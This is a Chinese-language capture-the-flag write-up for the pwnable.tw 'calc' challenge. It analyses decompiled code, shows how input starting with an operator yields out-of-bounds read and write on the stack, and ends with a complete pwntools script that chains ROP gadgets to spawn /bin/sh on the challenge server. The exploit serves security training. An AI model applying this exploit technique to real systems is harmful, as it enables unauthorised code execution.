# pwnable.tw-calc
> Author: 堇姬Naup
## code analyze
### call calc
這邊呼叫了calc
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}
```
### calc
```c
unsigned int calc()
{
int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
char user_input[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(user_input, 1024);
if ( !get_expr((int)user_input, 1024) )
break;
init_pool(pool);
if ( parse_expr(user_input, pool) )
{
printf("%d\n", pool[pool[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
```
首先呼叫了bzero(user_input, 1024);
將user_input設為0
最後輸出printf("%d\n", pool[pool[0]]);
### get_expr
```c
int __cdecl get_expr(int user_input, int num_1024)
{
int idx; // eax
char input_char; // [esp+1Bh] [ebp-Dh] BYREF
int cnt; // [esp+1Ch] [ebp-Ch]
cnt = 0;
while ( cnt < num_1024 && read(0, &input_char, 1) != -1 && input_char != 10 )
{
if ( input_char == 43
|| input_char == 45
|| input_char == 42
|| input_char == 47
|| input_char == 37
|| input_char > 47 && input_char <= 57 )
{
idx = cnt++;
*(_BYTE *)(user_input + idx) = input_char;
}
}
*(_BYTE *)(cnt + user_input) = 0;
return cnt;
}
```
這部分判斷是不是加減乘除取餘及0~9,是就存進去,最後補0
user_input -> esp+0x1AC
```
pwndbg> x/10xg 0xffffc830+0x1AC
0xffffc9dc: 0x0000000000322b32 0x0000000000000000
0xffffc9ec: 0x0000000000000000 0x0000000000000000
```
### init_pool
```c
_DWORD *__cdecl init_pool(_DWORD *pool)
{
_DWORD *result; // eax
int i; // [esp+Ch] [ebp-4h]
result = pool;
*pool = 0;
for ( i = 0; i <= 99; ++i )
{
result = pool;
pool[i + 1] = 0;
}
return result;
}
```
將pool清空
### parse_expr
```c
int __cdecl parse_expr(int user_input, _DWORD *pool)
{
int pool_idx; // eax
int user_input_ptr; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int Operator_array_idx; // [esp+28h] [ebp-80h]
int part_user_input_size; // [esp+2Ch] [ebp-7Ch]
char *part_user_input; // [esp+30h] [ebp-78h]
int int_part_user_input; // [esp+34h] [ebp-74h]
char Operator_array[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int stack_canary; // [esp+9Ch] [ebp-Ch]
stack_canary = __readgsdword(0x14u);
user_input_ptr = user_input;
Operator_array_idx = 0;
bzero((int)Operator_array, 100);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + user_input) - 48) > 9 )
{
part_user_input_size = i + user_input - user_input_ptr;
part_user_input = (char *)malloc(part_user_input_size + 1);
memcpy(part_user_input, user_input_ptr, part_user_input_size);
part_user_input[part_user_input_size] = 0;
if ( !strcmp(part_user_input, &unk_80BF7A8) )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
int_part_user_input = atoi(part_user_input);
if ( int_part_user_input > 0 )
{
pool_idx = (*pool)++;
pool[pool_idx + 1] = int_part_user_input;
}
if ( *(_BYTE *)(i + user_input) && (unsigned int)(*(char *)(i + 1 + user_input) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
user_input_ptr = i + 1 + user_input;
if ( Operator_array[Operator_array_idx] )
{
switch ( *(_BYTE *)(i + user_input) )
{
case '%':
case '*':
case '/':
if ( Operator_array[Operator_array_idx] != 43 && Operator_array[Operator_array_idx] != 45 )
goto LABEL_14;
Operator_array[++Operator_array_idx] = *(_BYTE *)(i + user_input);
break;
case '+':
case '-':
LABEL_14:
eval(pool, Operator_array[Operator_array_idx]);
Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
break;
default:
eval(pool, Operator_array[Operator_array_idx--]);
break;
}
}
else
{
Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
}
if ( !*(_BYTE *)(i + user_input) )
break;
}
}
while ( Operator_array_idx >= 0 )
eval(pool, Operator_array[Operator_array_idx--]);
return 1;
}
```
首先是變數初始化,接下來進到
```c
for (i = 0; ; ++i)
{
if ((unsigned int)(*(char *)(i + user_input) - 48) > 9)
{
...
}
}
```
循環直到碰到0
```c
part_user_input_size = i + user_input - user_input_ptr;
part_user_input = (char *)malloc(part_user_input_size + 1);
memcpy(part_user_input, user_input_ptr, part_user_input_size);
part_user_input[part_user_input_size] = 0;
```
這部分計算長度,並將切出來的部分存入chunk中
```c
if (!strcmp(part_user_input, &unk_80BF7A8))
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
```
這部分防止除以0
```c
int_part_user_input = atoi(part_user_input);
if (int_part_user_input > 0)
{
pool_idx = (*pool)++;
pool[pool_idx + 1] = int_part_user_input;
}
```
將字串符轉數字,並存入pool
pool[0] = pool.size()
接下來就是要做操作的數字
根據user input先把第一個數字放到pool[1]
接下來會判斷Operator_array是否有值
若沒值則去抓值
有值則進入運算
```c
user_input_ptr = i + 1 + user_input;
if ( Operator_array[Operator_array_idx] )
{
switch ( *(_BYTE *)(i + user_input) )
{
case '%':
case '*':
case '/':
if ( Operator_array[Operator_array_idx] != 43 && Operator_array[Operator_array_idx] != 45 )
goto LABEL_14;
Operator_array[++Operator_array_idx] = *(_BYTE *)(i + user_input);
break;
case '+':
case '-':
LABEL_14:
eval(pool, Operator_array[Operator_array_idx]);
Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
break;
default:
eval(pool, Operator_array[Operator_array_idx--]);
break;
}
}
else
{
Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
}
if ( !*(_BYTE *)(i + user_input) )
break;
}
```
### eval
```c
_DWORD *__cdecl eval(_DWORD *pool, char Operator)
{
_DWORD *result; // eax
if ( Operator == 43 )
{
pool[*pool - 1] += pool[*pool];
}
else if ( Operator > 43 )
{
if ( Operator == 45 )
{
pool[*pool - 1] -= pool[*pool];
}
else if ( Operator == 47 )
{
pool[*pool - 1] /= (int)pool[*pool];
}
}
else if ( Operator == 42 )
{
pool[*pool - 1] *= pool[*pool];
}
result = pool;
--*pool;
return result;
}
```
這就是抓當前長度跟當前長度-1的索引做運算
## 分析
他有限制符號不能接符號,但他看起來預期的輸入會是
```
數字 符號 數字 符號...
```
若我們先輸入符號呢
### 狀況A
> +5
pool=[1,5]
Operation=['+']
pool[*pool - 1] = pool[*pool - 1] + pool[*pool]
pool[0] = pool[0] + 5
pool[0] = 6
-\-*pool;
pool[0] = 5
printf("%d\n", pool[pool[0]]) = pool[5]
這樣子就oob read了
### 狀況B
> +399+1234
pool=[1,399]
Operation=['+']
第一輪
pool[*pool - 1] = pool[*pool - 1] + pool[*pool]
pool[0] = pool[0] + 399
pool[0] = 400
第二輪
pool=[400,399,0,...,0,1234]
Operation=['+']
*pool = *pool + 1
pool[*pool + 1 - 1] = pool[*pool + 1 - 1] + pool[*pool + 1]
pool[400] = pool[400] + 1234
-\-*pool
pool[0] = 399
這樣就oob write了
```
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/calc$ ./calc
=== Welcome to SECPROG calculator ===
+400
-3405332
+399+1234
1234
+400
1234
```
## 如何RCE
static,串ROP就可以了
|gadget|address|
|------|-------|
|pop eax ; ret|0x0805c34b |
|pop edx ; pop ecx ; pop ebx ; ret|0x080701d0|
|int 0x80|0x08049a21|
pool在ebp-0x5A0
```
>>> (0x5a0+0x4)//4
361
```
save ebp在pool[360]
ret address在pool[361]
接下來就直接串
## exploit
```python
from pwn import *
from NAUP_pwn_lib import *
import time
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
context(arch = 'i386', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./calc')
debug_init()
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10100")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
#p_c(r,'b *0x0804940a')
### exploit
sla(b"\n",b"+360")
main_ebp = int(rcl().strip())
NAUPINFO('EBP',hex(main_ebp))
pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
syscall = 0x08049a21
ROPchain = [pop_eax, 0x0b,
pop_edx_ecx_ebx, 0x0, 0x0, main_ebp+0x8,
syscall,
0x0,0x0,
u32("/bin"), u32("/sh\0")
]
offset = 361
for i in ROPchain:
payload = '+' + str(offset)
sl(payload)
a = i - int(r.recv())
if a >= 0:
payload += '+' + str(a)
else:
payload += str(a)
sl(payload)
r.recv()
offset += 1
###
ita()
```